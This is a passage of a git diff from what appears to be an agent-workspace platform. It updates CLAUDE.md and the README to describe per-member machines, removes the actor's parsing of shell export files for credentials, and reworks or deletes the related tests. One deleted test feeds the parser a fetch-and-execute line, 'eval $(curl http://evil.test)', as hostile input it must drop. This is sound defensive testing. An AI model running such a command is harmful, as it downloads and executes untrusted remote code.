diff --git a/CLAUDE.md b/CLAUDE.md index e317bfd9..a793b461 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -64,7 +64,6 @@ conformance tests on BOTH sides. Never hand-edit one side of a contract. | MICROVM_HOSTS | runtime + deploy share ONE parser | n/a (shared code) | `core/compute/microvm-hosts.js` imported by both | | dufs WebDAV listing | `core/files/sync.ts` parser ↔ dufs in the box image | `fixtures/dav-listing/` | `test/dav-listing-fixtures.test.ts` (TS side; guest side revalidates at box-image rebuild) | | public preview links | box CLI state ↔ Go gateway ↔ browser | `fixtures/previews/` | `gateway/main_test.go`, `webapp/test/preview-v2.test.ts` | -| workspace environment | `core/environment.ts` route ↔ `broker/internal/workspace/environment.go` ↔ `box/actor/src/credentials.ts` (`env` only) | `fixtures/workspace-environment/` | `test/workspace-environment-conformance.test.ts`, `broker` `environment_test.go`, `actor/test/workspace-environment.test.ts` | | preview-focus | `blitz teenyapp open` CLI (`blitz preview` stays a silent alias; wire unchanged) ↔ Go gateway (`/preview-focus`) ↔ browser (`webapp/src/preview.ts` consumer, auto-opens the focus) | `fixtures/preview-focus/` | `box/actor/test/preview-focus-conformance.test.ts` (producer), `gateway/main_test.go` (reader), `webapp/test/preview-focus.test.ts` (browser consumer) | | connections-focus | `blitz connections open ` CLI ↔ Go gateway (`/connections-focus`) ↔ browser (`webapp/src/connections-focus.ts` consumer via `use-workspace-connections-focus.ts`, opens the workspace connections panel with the provider selected) | `fixtures/connections-focus/` | `box/actor/test/connections-focus-conformance.test.ts` (producer), `gateway/main_test.go` (reader), `webapp/test/connections-focus.test.ts` (browser consumer) | | webApp ticket v1 | `core/webapp-tickets.ts` mint/verify ↔ `box/gateway/main.go` ↔ `box/actor/src/auth.ts` | `fixtures/webapp-ticket/` | `test/webapp-ticket-conformance.test.ts`, `gateway/main_test.go` (ticket_conformance_test.go), `actor/test/auth-conformance.test.ts` | @@ -72,15 +71,64 @@ conformance tests on BOTH sides. Never hand-edit one side of a contract. | microVM agent protocol | `microvm-host/types.go` ↔ `core/compute/microvm-agent.ts` | none yet — add fixtures before changing either side | — | | webApp box surface | `core/webapp-surface.ts` ↔ `schema/src/webapp-surface.ts` (webApp resolver) | n/a | `test/webapp-surface-drift.test.ts`, `webapp/test/webapp-surface.test.ts` | | agent rules | CP `core/agent-rules.ts` producer (`GET /workspaces/self/agent-rules`) ↔ box `blitz-rules sync` consumer (`box/rootfs/usr/local/bin/blitz-rules`); `AGENT_RULES_DOC` mirrors the canonical `box/rootfs/opt/blitz/skel/agent-rules.md` | `fixtures/agent-rules/` | `test/agent-rules-conformance.test.ts` + `test/agent-rules-drift.test.ts` (CP), `box/actor/test/agent-rules-conformance.test.ts` (box) | -| connection pull v1 | CP producer `core/connections/pull-wire.ts` (`GET /workspaces/self/connections`, `POST /workspaces/self/connections/:name/token`) ↔ Go consumer `broker/internal/workspace/connections.go`, printed by `blitz-cred list\|get\|env` | `fixtures/connection-pull/` | `test/connection-pull-conformance.test.ts` + `test/pull-credentials.test.ts` (CP), `broker/internal/workspace/connections_test.go` + `broker/cmd/blitz-cred/main_test.go` (box) | +| connection pull v1 | CP producer `core/connections/pull-wire.ts`, routes in `core/connections/pull-routes.ts` (`GET /workspaces/self/connections`, `POST /workspaces/self/connections/:name/token`) ↔ Go consumer `broker/internal/workspace/connections.go`, printed by `blitz-cred list\|get\|env`. Carries BOTH credential planes: the member's own connection grant and the workspace credential store (plans/MEMBER-MACHINES.md §4) | `fixtures/connection-pull/` | `test/connection-pull-conformance.test.ts` + `test/pull-credentials.test.ts` + `test/member-machines.test.ts` (CP), `broker/internal/workspace/connections_test.go` + `broker/cmd/blitz-cred/main_test.go` (box) | | entitlements | CP `core/entitlements.ts` (`PUT /orgs/:id/entitlements` writer, `GET /orgs/:id/usage`, the 402 seat-limit refusal and its HS256 handoff token) ↔ the PRIVATE billing service, which owns plans, writes the integers, and verifies the token — core never learns a plan name | `fixtures/entitlements/` | `test/entitlements-fixtures.test.ts` (CP); the billing service copies the corpus and pins it on its side | | recipe invocation files | `core/bootstrap.ts` writer (recipe launches emit `/var/lib/blitz/recipe/prompt.txt` + `invocation.env`) ↔ guest readers: `blitz-term` through the shared parser `box/rootfs/usr/local/libexec/blitz-recipe-invocation`, plus the bootstrap-emitted chat sender's raw `prompt.txt` read (the sender never parses `invocation.env` — model/effort/permission are interpolated into its source at render time) | `fixtures/recipe-invocation/` | `test/recipe-invocation-fixtures.test.ts` (CP), `box/actor/test/recipe-invocation-guest.test.ts` (guest: shared parser vs corpus + blitz-term delivery semantics) | | box config v1 | CP `core/box-config.ts` producer (`GET /workspaces/self/box-config`) and consumer (`POST /workspaces/self/box-update-result`) ↔ host updater bash/python emitted by `core/bootstrap.ts` (`blitz-box-update`; cloud-VM path only — the microVM provider has its own guest lifecycle and no update path yet) | `fixtures/box-config/` | `test/box-config-conformance.test.ts` (CP), `test/box-update-conformance.test.mjs` (runs real `python3` over the emitted parser/producer, `bash -n` over the emitted scripts), `test/box-update-host.test.mjs` (runs the emitted updater in real bash against a live CP over real curl) | +Retired: the `workspace environment` contract (`GET /workspaces/self/environment` +→ `creds/env.d/00-workspace.sh`). Workspace credentials serve through +`blitz-cred` alone — see `plans/MEMBER-MACHINES.md` §1. The route stays only for +box images already in the field, which tolerate an empty answer. + Legacy phone-home shapes are accepted ONLY inside `adaptLegacyPhoneHomeRequestForInFlightImages` in `core/workspaces.ts`. Do not add aliases anywhere else. +## Member machines: what a workspace is now + +`plans/MEMBER-MACHINES.md` landed in migrations 0041-0044. Two invariants an +agent must not undo: + +- **A workspace is configuration; a `machines` row is the VM.** The workspace + has no phase, no `vm_id`, and no environment. `WorkspaceView.phase` and + `.ssh` survive as a projection of the REQUESTING member's machine, so old + pollers keep converging — do not start storing them again. +- **The acting principal is resolved at call time** from + `machines.membership_id` (`core/oauth.ts`, `core/connections/mint.ts`). + Nothing about who a guest acts as is stored beside its credential. The row + that used to hold it pinned the workspace owner, and that is the bug the + structure now prevents. + +Three compatibility surfaces are load-bearing and have no expiry date yet: +`GET /boxes/:id/feed` (served from `machines`), +`GET /workspaces/:id/environment` (a constant `{env:{}, startupScript:null, +filesReady:true}`, because deployed brokers poll it every second at boot and +wait for exactly those three fields), and the token families migration 0041 +copied hash-for-hash so no deployed guest had to re-enrol. + +The `workspace environment` cross-runtime contract is retired with its fixtures +and both conformance tests: no runtime reads the route any more, so what remains +is that constant three-field shim, pinned alone by +`control-plane/test/workspace-environment.test.ts`. + +Every field of `WorkspaceView` is required, including `members`, +`credentials`, `myRole`, `defaultMachineTypeId` and `autoProvision`. The only +client is `packages/webapp`, built from `packages/schema` in this tree, so a +server that drops a field fails `test/wire-drift.test.ts` rather than the +browser. Do not make one optional to spare a fixture. + +Templates and Recipes are disabled product-wide (2026-08-29), on both sides: + +- Control plane: the two registrations are commented out in `core/app.ts`. +- Webapp: the `/templates*` and `/recipes*` branches are commented out in + `sessions-page-state.ts`, so those addresses fall through to Drive, and + `shell/SecondaryRoutes.tsx` no longer renders them. + +The page components (`TemplatesHome`, `RecipesHome`, `CreateTemplateScreen`, +`CreateRecipeScreen`), the client methods and the recipe rows are untouched +and unreachable. Restoring a surface means restoring both branches. + ## VM provider architecture (do not regress) - The plugin contract is `VmProvider` in `core/compute/types.ts`: diff --git a/README.md b/README.md index cb8fe0a7..23f19982 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@

Features • - Architecture • + AboutPackages

@@ -14,22 +14,23 @@ # Features -**BYO agent and run them on any cloud** +**BYO agent and run them on any cloud** - **Agent workspaces** Shareable, sandboxed cloud computers holding only the credentials and data AI agents need. -- **Workspace templates** Create agent workspace templates defining what repos, credentials, machine environment, etc. are put in the agent workspace. Set up once and share with everyone. -- **Recipes** Like skills but on steroids: define the runtime of a successful agent workflow (AI model, machine env, data + credentials) and trigger it with a webhook from Slack, GitHub, etc. +- **A machine for every member** Join a workspace like you join a Discord server: your own machine is already running, preloaded with the team's repos, rules, and keys. Nobody files a ticket for a VM. +- **Workspace credentials** Sealed, workspace-scoped API keys that agents fetch at the moment of use with `blitz-cred`. Nothing ambient, nothing in a dotfile, revocation that actually revokes. +- **Everyone acts as themselves** Your GitHub and your agent subscriptions stay yours on your machine. Commits carry your name, tokens spend your identity — even in a workspace the whole team shares. - **Teenyapps** Mini apps you can vibe-code to build internal tools like dashboards, CRMs, and task managers — each comes with a backend, auth, and a URL. # About An operating system turns a bare machine into a standard environment where programs just run. BlitzOS does the same for AI: it turns the context, credentials, and workflows your fast adopters have dialed in into reusable, standardized workspaces that the rest of the company can just use, without learning the agent setup themselves. -When a new AI agent drops, a developer tests it in a fresh "daily driver" workspace from a company template. That template preconfigures the repos, API keys, and agent skill library, and nothing else. The clean boundary keeps the agent safe to run on real work in the cloud, unlike a local machine where every other project's credentials and configs are reachable. +When a new AI agent drops, a developer tests it on their own machine inside the team workspace. The workspace preconfigures the repos, API keys, and agent rules, and nothing else. The clean boundary keeps the agent safe to run on real work in the cloud, unlike a local machine where every other project's credentials and configs are reachable. -If the agent does something interesting, developers share the workspace like a Google Doc. If it's genuinely better but needs config tweaks, one developer publishes an updated template and everyone rolls it out. +If the setup is genuinely better, spreading it is one action: add a teammate, and a machine with the same repos, rules, and keys is theirs before their first click. A workspace **is** its own template — when a configuration is worth keeping, clone the workspace and the next team starts where this one left off. -BlitzOS helps companies digest AI advancements as fast as they happen. Workspaces, templates, and recipes enable **faster experimentation** and **workflow sharing**, and features like automatic evals build on them to optimize AI cost. +BlitzOS helps companies digest AI advancements as fast as they happen. Workspaces and member machines enable **faster experimentation** and **workflow sharing**, and features like automatic evals build on them to optimize AI cost. # Installation @@ -49,7 +50,7 @@ Follow the [self-host guide](docs/SELF-HOST.md). # Packages - [`box`](packages/box/README.md) the complete workspace runtime: SSH, Docker, agent harnesses, terminal, chat, files, and previews. -- [`control-plane`](packages/control-plane/README.md) workspace lifecycle, sessions, access, credential injection, volumes, and compute providers. +- [`control-plane`](packages/control-plane/README.md) workspaces, member machines, roles, credential injection, volumes, and compute providers. - [`microvm-host`](packages/microvm-host/README.md) the Go host agent that runs and networks Firecracker workspaces. - [`webApp`](packages/webapp/README.md) the browser webApp for creating, configuring, sharing, and working inside workspaces. - [`broker`](packages/broker/README.md) short-lived Claude and Codex credential delivery for workspace fleets. @@ -68,6 +69,7 @@ Follow the [self-host guide](docs/SELF-HOST.md). # Roadmap +- [ ] sessions - [ ] recipes - [ ] evals - [ ] policy diff --git a/packages/box/actor/src/actor.ts b/packages/box/actor/src/actor.ts index 99f82905..b6b8e916 100644 --- a/packages/box/actor/src/actor.ts +++ b/packages/box/actor/src/actor.ts @@ -178,13 +178,6 @@ class SessionActor { stopReason = "cancelled"; return { stopReason }; } - // Workspace variables are optional configuration: this call degrades to - // the actor's own environment rather than failing the prompt. - const environment = await this.credentials.environment(); - if (abort.signal.aborted) { - stopReason = "cancelled"; - return { stopReason }; - } try { const output = await this.adapter.runTurn({ sessionId: this.id, @@ -194,7 +187,9 @@ class SessionActor { resumeId: this.resumeId, signal: abort.signal, token, - environment, + // The actor's own environment, and nothing added. Every credential a + // turn may use is pulled at the moment of use with `blitz-cred get`. + environment: process.env, config: this.config, emit: (update) => this.emit(update, identity), requestPermission: (request) => this.requestPermission(request, identity), diff --git a/packages/box/actor/src/credentials.ts b/packages/box/actor/src/credentials.ts index a0ba4d4a..26a35e4e 100644 --- a/packages/box/actor/src/credentials.ts +++ b/packages/box/actor/src/credentials.ts @@ -1,6 +1,6 @@ import { execFile } from "node:child_process"; import { constants } from "node:fs"; -import { access, readFile, readdir } from "node:fs/promises"; +import { access } from "node:fs/promises"; import { join } from "node:path"; import { promisify } from "node:util"; import { isString } from "./type-guards.js"; @@ -45,146 +45,7 @@ function brokerReason(failure: ExecFailure): string { .slice(0, 200); } -type JsonValue = string | number | boolean | null | JsonObject | JsonValue[]; -interface JsonObject { [key: string]: JsonValue } - -/** Wait for the broker's first environment fetch, but only once. The file is - * written within a second of boot and then stays, so a prompt that arrives - * before it exists waits briefly; every later prompt reads through. */ -const ENVIRONMENT_WAIT_ATTEMPTS = 50; -const ENVIRONMENT_WAIT_INTERVAL_MS = 100; -/** Mirrors the control plane's `env` limits. The three runtimes that carry - * this payload cannot share a module — core/ may only import relatively — so - * `schema/fixtures/workspace-environment/` is what keeps the numbers equal. */ -const ENVIRONMENT_MAX_KEYS = 50; -const ENVIRONMENT_MAX_BYTES = 8 * 1024; -const ENVIRONMENT_KEY = /^[A-Za-z_][A-Za-z0-9_]*$/u; - -function isObject(value: Value): value is Value & JsonObject { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -/** Parses only what the agent uses. The startup script and the files-ready - * flag belong to the broker, which validates and acts on them; re-checking - * fields we then discard bought a third copy of that validator and nothing - * else. */ -export function parseWorkspaceEnvironmentVariables(source: string): Record { - let value: JsonValue; - try { - value = JSON.parse(source); - } catch { - throw new Error("workspace environment state is invalid JSON"); - } - if (!isObject(value)) throw new Error("workspace environment state must be an object"); - if (!isObject(value.env)) throw new Error("workspace environment env must be an object"); - const entries = Object.entries(value.env); - if (entries.length > ENVIRONMENT_MAX_KEYS) { - throw new Error("workspace environment has too many keys"); - } - const validated: Array<[string, string]> = []; - let bytes = 0; - for (const [name, candidate] of entries) { - if (!ENVIRONMENT_KEY.test(name) || !isString(candidate)) { - throw new Error("workspace environment contains an invalid variable"); - } - if (candidate.includes("\0")) { - throw new Error("workspace environment contains NUL"); - } - bytes += Buffer.byteLength(name) + Buffer.byteLength(candidate); - if (bytes > ENVIRONMENT_MAX_BYTES) throw new Error("workspace environment is too large"); - validated.push([name, candidate]); - } - return Object.fromEntries(validated); -} - -/** One statement of a broker-written export file, kept in the order the shell - * would have run it. */ -interface CredentialDirective { - name: string; - value: string; -} - -/** What `shellQuote` in packages/broker/internal/workspace/cp.go emits for a - * literal quote inside a single-quoted word: close, quote a quote, reopen. */ -const SHELL_QUOTE_ESCAPE = "'\"'\"'"; - -/** Linux caps one `NAME=value` string in an execve environment at - * MAX_ARG_STRLEN (32 pages, 128 KiB). A value over that limit cannot be - * delivered at all, so passing it through would fail the whole spawn instead - * of one variable. */ -const CREDENTIAL_MAX_ENTRY_BYTES = 128 * 1024; - -/** - * The statements in one `creds/env.d/*.sh` file, in file order. - * - * Written by the Go broker and read by /etc/profile.d/blitz-creds.sh, so this - * decodes exactly the one form that writer emits — `export NAME='value'` with - * every `'` escaped as `'"'"'` — and nothing else. Anything it does not - * recognise is dropped at the next line boundary rather than guessed at: these - * bytes become the environment of an agent, and a half-understood assignment - * is a worse answer than a missing one. - * - * Skipping is per statement, not per file, because the writer replaces the - * whole file atomically (`atomicfile.Write`) — a line this cannot read means - * the two sides have drifted, not that a read was torn, and dropping the file - * over it would retract every variable in it. A quoted value is consumed - * whole, newlines included, so a skip resumes on a real statement boundary for - * every file the broker actually produces. - */ -export function parseCredentialExportFile(source: string): CredentialDirective[] { - const directives: CredentialDirective[] = []; - let cursor = 0; - while (cursor < source.length) { - const read = readCredentialDirective(source, cursor); - if (read !== null) { - directives.push(read.directive); - cursor = read.next; - continue; - } - const newline = source.indexOf("\n", cursor); - if (newline === -1) break; - cursor = newline + 1; - } - return directives; -} - -/** Names are checked against {@link ENVIRONMENT_KEY} because the Go writer - * validates them with the identical pattern (`environmentNamePattern`): a name - * outside it never came from the broker. */ -function readCredentialDirective( - source: string, - start: number, -): { directive: CredentialDirective; next: number } | null { - if (!source.startsWith("export ", start)) return null; - const assign = source.indexOf("=", start); - if (assign === -1 || source[assign + 1] !== "'") return null; - const name = source.slice(start + "export ".length, assign); - if (!ENVIRONMENT_KEY.test(name)) return null; - let cursor = assign + 2; - let value = ""; - for (;;) { - const quote = source.indexOf("'", cursor); - if (quote === -1) return null; - value += source.slice(cursor, quote); - if (source.startsWith(SHELL_QUOTE_ESCAPE, quote)) { - // Greedy on purpose: the writer leaves no bare quote inside the word, so - // this sequence is always the escape and never a close followed by data. - value += "'"; - cursor = quote + SHELL_QUOTE_ESCAPE.length; - continue; - } - const end = quote + 1; - if (end !== source.length && source[end] !== "\n") return null; - if (value.includes("\0")) return null; - if (Buffer.byteLength(name) + 1 + Buffer.byteLength(value) > CREDENTIAL_MAX_ENTRY_BYTES) return null; - return { directive: { name, value }, next: end + 1 }; - } -} - export class CredentialSource { - private lastEnvironment: Record = {}; - private environmentWaited = false; - public constructor(private readonly stateDir: string) {} public async token(provider: Provider): Promise { @@ -211,82 +72,6 @@ export class CredentialSource { } return parseToken(stdout); } - - /** The agent's environment for one turn. Workspace variables are optional - * configuration, so every failure path here degrades to the actor's own - * environment: an enrolled box whose broker has not written the file yet, a - * box with nothing configured, and a torn or corrupt file all still run the - * prompt. This never rejects — a prompt must not fail over env. - * - * No connection secret is here. The agent pulls one when it needs one - * (`blitz-cred get `), so a turn carries only the workspace's own - * configured variables. The layering is the login shell's, reproduced: this - * process's own environment underneath, then the workspace's configured - * variables, then `creds/env.d/*.sh` applied in sorted filename order - * exactly as the glob in /etc/profile.d/blitz-creds.sh expands it. Chat and - * a terminal tab read the identical bytes in the identical order, so they - * cannot disagree about what a variable holds. */ - public async environment(): Promise { - const configured = await this.workspaceVariables(); - const merged: NodeJS.ProcessEnv = { ...process.env, ...configured }; - for (const directive of await this.credentialDirectives()) { - merged[directive.name] = directive.value; - } - return merged; - } - - /** Every statement in `creds/env.d`, concatenated in glob order. - * - * A missing directory is the normal state of a box whose broker has not - * written the workspace entry yet. It degrades to "no variables" rather than - * failing the turn. */ - private async credentialDirectives(): Promise { - const directory = join(this.stateDir, "creds", "env.d"); - const entries = await readdir(directory).catch(() => null); - if (entries === null) return []; - // Node sorts by UTF-16 code unit, which is byte order for the ASCII file - // names the broker writes — the same order the shell's glob produces. - const files = entries.filter((entry) => entry.endsWith(".sh")).sort(); - const directives: CredentialDirective[] = []; - for (const file of files) { - const source = await readFile(join(directory, file), "utf8").catch(() => null); - if (source !== null) directives.push(...parseCredentialExportFile(source)); - } - return directives; - } - - private async workspaceVariables(): Promise> { - const statePath = join(this.stateDir, "env", "environment.json"); - // Probe enrollment the same way token() does. `origin` is written by the - // enroll step; broker.json is what says a broker is actually running and - // therefore that a fetch is on its way. - const attempts = this.environmentWaited || !(await this.brokerPresent()) - ? 1 - : ENVIRONMENT_WAIT_ATTEMPTS; - for (let attempt = 0; attempt < attempts; attempt += 1) { - if (attempt > 0) { - await new Promise((resolve) => setTimeout(resolve, ENVIRONMENT_WAIT_INTERVAL_MS)); - } - const source = await readFile(statePath, "utf8").catch(() => null); - if (source === null) continue; - try { - this.lastEnvironment = parseWorkspaceEnvironmentVariables(source); - } catch { - // Keep the last good copy rather than dropping configuration because - // one read caught a half-written file. - break; - } - return this.lastEnvironment; - } - this.environmentWaited = true; - return this.lastEnvironment; - } - - private brokerPresent(): Promise { - return access(join(this.stateDir, "broker.json"), constants.R_OK) - .then(() => true) - .catch(() => false); - } } /** The broker's stdout, parsed into a token. diff --git a/packages/box/actor/test/blitz-term-credentials.test.ts b/packages/box/actor/test/blitz-term-credentials.test.ts index f20b47ec..7bc2176d 100644 --- a/packages/box/actor/test/blitz-term-credentials.test.ts +++ b/packages/box/actor/test/blitz-term-credentials.test.ts @@ -7,13 +7,12 @@ import { afterEach, describe, expect, it } from "vitest"; /** * blitz-term hands a tab's environment to tmux, which execs the agent without - * a login shell — so whatever this script does not source, the agent does not - * have. It used to source only `00-workspace.sh` and step over the credential - * files beside it, which left a claude tab unable to read the very token its - * workspace had connected. These drive the real script with stub tmux, + * a login shell. No secret rides that hand-off: every credential, the + * workspace's own variables included, is pulled at the moment of use with + * `blitz-cred get `, so a tmux session environment can never outlive the + * grant that authorized it. These drive the real script with stub tmux, * blitz-cred and timeout binaries, because the failures that matter here are - * runtime ones `bash -n` cannot see: an unsourced glob, or a `set -e` abort - * that takes the terminal down with it. + * runtime ones `bash -n` cannot see. */ const blitzTermPath = fileURLToPath( @@ -56,7 +55,6 @@ const TIMEOUT_STUB = "#!/bin/sh\nshift\nexec \"$@\"\n"; interface TermBox { stateDir: string; - envDir: string; binDir: string; } @@ -74,8 +72,6 @@ function stub(binDir: string, name: string, body: string): void { function makeTermBox(): TermBox { const stateDir = mkdtempSync(join(tmpdir(), "term-creds-")); boxes.push(stateDir); - const envDir = join(stateDir, "creds", "env.d"); - mkdirSync(envDir, { recursive: true }); const binDir = join(stateDir, "stub-bin"); mkdirSync(binDir); stub(binDir, "tmux", TMUX_STUB); @@ -88,7 +84,7 @@ function makeTermBox(): TermBox { "blitz-cred", `#!/bin/sh\nprintf '%s\\n' "$*" >>'${join(stateDir, "cred-calls")}'\n`, ); - return { stateDir, envDir, binDir }; + return { stateDir, binDir }; } function runTerm(box: TermBox, args: string[]): Promise { @@ -139,94 +135,47 @@ function credCalls(box: TermBox): string[] { return existsSync(path) ? readFileSync(path, "utf8").trim().split("\n") : []; } -function writeEnvFile(box: TermBox, file: string, body: string): void { - writeFileSync(join(box.envDir, file), body); -} - -/** A box whose workspace declares variables. Only the workspace entry lives in - * env.d now: connection secrets are pulled at the moment of use. */ -function configuredBox(): TermBox { - const box = makeTermBox(); - writeEnvFile(box, "00-workspace.sh", "export PROJECT_MODE='analysis'\nexport REGION='eu'\n"); - return box; -} - -describe("blitz-term credential delivery", () => { - it("gives an agent tab the whole env.d glob", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session")).toMatchObject({ - PROJECT_MODE: "analysis", - REGION: "eu", - }); - }); - - it("gives a plain terminal tab the same environment", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["terminal", "shell"])).toBe(0); - expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe("analysis"); - }); - - it("carries no connection secret into the tmux session", async () => { - // A tab used to inherit every connected provider's token, and a tmux - // session environment outlives the grant that authorized it. An agent now - // asks for a credential when it needs one. - const box = configuredBox(); +describe("blitz-term carries no credential", () => { + it("starts a tab with no secret in the tmux session environment", async () => { + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session").GH_TOKEN).toBe(""); + const delivered = deliveredEnv(box, "new-session"); + expect(delivered.GH_TOKEN).toBe(""); + expect(delivered.PROJECT_MODE).toBe(""); + // Pulling one here would put it in a session environment that outlives the + // grant. The agent asks for its own when it needs one. expect(credCalls(box)).toEqual([]); }); - it("starts the tab anyway when an entry cannot be read", async () => { - const box = configuredBox(); - // env.d entries are mode 0600 and a stripped or half-migrated box can leave - // one unreadable. Under `set -euo pipefail` a careless source here would - // take the whole terminal down instead of one variable. - writeEnvFile(box, "mm-locked.sh", "export LOCKED='x'\n"); - chmodSync(join(box.envDir, "mm-locked.sh"), 0o000); - try { - expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe("analysis"); - } finally { - chmodSync(join(box.envDir, "mm-locked.sh"), 0o600); - } - }); - - it("starts the tab when the workspace declares nothing", async () => { + it("ignores a creds/env.d left behind by an older box image", async () => { + // The broker no longer writes this directory, but a box that boots on an + // upgraded image still has yesterday's file on its state volume. Sourcing + // it would re-export a value the workspace may already have revoked. const box = makeTermBox(); - rmSync(join(box.stateDir, "creds"), { recursive: true, force: true }); + const envDir = join(box.stateDir, "creds", "env.d"); + mkdirSync(envDir, { recursive: true }); + writeFileSync(join(envDir, "00-workspace.sh"), "export PROJECT_MODE='analysis'\n"); expect(await runTerm(box, ["claude", "run"])).toBe(0); expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe(""); }); }); describe("blitz-term tmux session environment", () => { - it("names every sourced variable in a tmux -e flag", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["claude", "run"])).toBe(0); - const flags = sessionEnvFlags(deliveredArgv(box, "new-session")); - // Exporting alone reaches the agent only when this client also starts the - // tmux server. Bootstrap's blitz-rc session usually starts it first, so - // the tab has to state its environment rather than inherit it. - expect(flags).toContain("PROJECT_MODE=analysis"); - expect(flags).toContain("REGION=eu"); - expect(flags).toContain("LANG=C.UTF-8"); - expect(flags).toContain("LC_ALL=C.UTF-8"); - }); - - it("names only what env.d changed, not the whole inherited environment", async () => { - // PATH and BLITZ_STATE_DIR reach blitz-term from ttyd, unchanged by the - // glob. Restating them would let a stale tab pin an old PATH. - const box = configuredBox(); + it("names the locale pair in tmux -e flags, and nothing else", async () => { + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run"])).toBe(0); - const names = sessionEnvFlags(deliveredArgv(box, "new-session")) - .map((flag) => flag.slice(0, flag.indexOf("="))); - expect(names).not.toContain("PATH"); - expect(names).not.toContain("BLITZ_STATE_DIR"); + // A tmux server hands later sessions its own startup snapshot rather than + // the creating client's environment, and the box's first session is a + // detached blitz-rc started from a bare `docker exec` with no LANG. So the + // tab has to state the locale rather than inherit it. PATH and + // BLITZ_STATE_DIR are deliberately absent: restating them would let a + // stale tab pin an old PATH. + expect(sessionEnvFlags(deliveredArgv(box, "new-session"))) + .toEqual(["LANG=C.UTF-8", "LC_ALL=C.UTF-8"]); }); it("passes no -e on the read-only attach path", async () => { - const box = configuredBox(); + const box = makeTermBox(); writeFileSync(join(box.stateDir, "session-claude-obs"), ""); expect(await runTerm(box, ["claude", "obs", "ro"])).toBe(0); // `-e` applies on create only, and an observer never creates. @@ -238,8 +187,7 @@ describe("blitz-term tmux session environment", () => { // forceReadOnlyTerminalArgs) appends "ro" only to a two-argument request // and refuses any other shape. The -e flags are tmux argv, never // blitz-term argv, so that contract must stay exactly ` [ro]`. - const box = configuredBox(); + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run", "ro", "extra"])).toBe(2); }); }); - diff --git a/packages/box/actor/test/credential-environment.test.ts b/packages/box/actor/test/credential-environment.test.ts deleted file mode 100644 index f2a07b4d..00000000 --- a/packages/box/actor/test/credential-environment.test.ts +++ /dev/null @@ -1,213 +0,0 @@ -import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, expect, it } from "vitest"; -import { ActorService, Subscriber } from "../src/actor.js"; -import { ChatSessionStore } from "../src/chat-session.js"; -import { CredentialSource, parseCredentialExportFile } from "../src/credentials.js"; -import type { AgentAdapter, Provider } from "../src/types.js"; -import type { ConnectionIdentity } from "../src/auth.js"; - -/** - * The workspace's own variables arrive as a shell export file in - * `/creds/env.d`, and a chat turn was once the one participant in the - * box that could not read them: login shells source the glob through - * /etc/profile.d/blitz-creds.sh, the actor read only `env/environment.json`. - * These pin the decoder against the exact bytes the Go writer emits - * (`environmentFile`/`shellQuote` in - * packages/broker/internal/workspace/environment.go) and the layering against - * the order the shell glob applies. - * - * No connection secret is here. An agent pulls one when it needs one. - */ - -const directories: string[] = []; -const originalPath = process.env.PATH; - -afterEach(() => { - process.env.PATH = originalPath; - for (const directory of directories.splice(0)) { - rmSync(directory, { recursive: true, force: true }); - } -}); - -function stateDir(): string { - const directory = mkdtempSync(join(tmpdir(), "blitz-creds-env-")); - directories.push(directory); - return directory; -} - -/** `shellQuote` from cp.go, so the corpus below is the writer's own output and - * not a hand-drawn imitation of it. */ -function shellQuote(value: string): string { - return `'${value.replaceAll("'", `'"'"'`)}'`; -} - -function exportLine(name: string, value: string): string { - return `export ${name}=${shellQuote(value)}\n`; -} - -/** Writes one env.d entry the way the broker does. */ -function writeEnvFile(directory: string, file: string, lines: string[]): void { - const envDir = join(directory, "creds", "env.d"); - mkdirSync(envDir, { recursive: true }); - writeFileSync(join(envDir, file), lines.join("")); -} - -function writeWorkspaceEnvironment(directory: string, env: Record): void { - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync( - join(directory, "env", "environment.json"), - JSON.stringify({ env, startupScript: null, filesReady: true }), - ); -} - -describe("credential export file decoding", () => { - it("reads the plain export lines the broker writes", () => { - expect(parseCredentialExportFile(exportLine("PROJECT_MODE", "analysis") + exportLine("REGION", "eu"))).toEqual([ - { name: "PROJECT_MODE", value: "analysis" }, - { name: "REGION", value: "eu" }, - ]); - }); - - it("unescapes a value carrying single quotes the way shellQuote escaped it", () => { - // The close-quote-a-quote-reopen dance, which a naive split on ' would - // shred into three variables and a syntax error. - const source = exportLine("MOTTO", "it's a 'quoted' token"); - expect(source).toBe(`export MOTTO='it'"'"'s a '"'"'quoted'"'"' token'\n`); - expect(parseCredentialExportFile(source)).toEqual([ - { name: "MOTTO", value: "it's a 'quoted' token" }, - ]); - // A value that is nothing but a quote is the degenerate case: the escape - // sits flush against both delimiters. - expect(parseCredentialExportFile(exportLine("ONE", "'"))).toEqual([ - { name: "ONE", value: "'" }, - ]); - }); - - it("skips an unset line, which the writer no longer emits", () => { - // Tombstones went with the delivery pipeline. A file that still carried - // one would have drifted from the writer, so the safe read is to drop it. - expect(parseCredentialExportFile(`${exportLine("KEPT", "yes")}unset RETRACTED\n`)).toEqual([ - { name: "KEPT", value: "yes" }, - ]); - }); - - it("skips a line it cannot read and keeps the credentials around it", () => { - const source = [ - exportLine("BEFORE", "1"), - "export 9INVALID='x'\n", - "eval $(curl http://evil.test)\n", - "export UNTERMINATED='oops\n", - exportLine("AFTER", "2"), - ].join(""); - expect(parseCredentialExportFile(source)).toEqual([ - { name: "BEFORE", value: "1" }, - { name: "AFTER", value: "2" }, - ]); - }); - - it("carries values holding =, spaces and newlines through intact", () => { - const connection = "postgres://u:p@host:5432/db?sslmode=require"; - const pem = "-----BEGIN KEY-----\nline one\nline two\n-----END KEY-----"; - expect(parseCredentialExportFile(exportLine("DATABASE_URL", connection) - + exportLine("GREETING", " two words ") - + exportLine("SERVICE_KEY", pem))).toEqual([ - { name: 